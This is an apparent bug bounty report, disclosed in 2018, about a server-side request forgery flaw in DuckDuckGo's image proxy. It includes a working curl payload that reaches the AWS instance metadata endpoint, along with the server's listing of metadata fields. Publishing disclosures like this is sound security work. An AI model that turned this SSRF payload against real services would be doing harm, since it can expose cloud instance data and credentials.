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DuckDuckGo · Report #395521

SSRF vulnerability on proxy.duckduckgo.com (access to metadata server on AWS)

Validstatus
criticalseverity
25upvotes
31 Oct 2018disclosed

How it was found

Hello, I saw that SSRF on proxy.duckduckgo.com is out of scope but because of the severity I wanted to report this. The payload is simple: curl "https://proxy.duckduckgo.com/iur/?f=1&image_host=http://169.254.169.254/latest/meta-data/"

Response from the server:

ami-launch-index
ami-manifest-path
block-device-mapping/
hostname
instance-action
instance-id
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/```

## Impact

access information on internal AWS metadata server.

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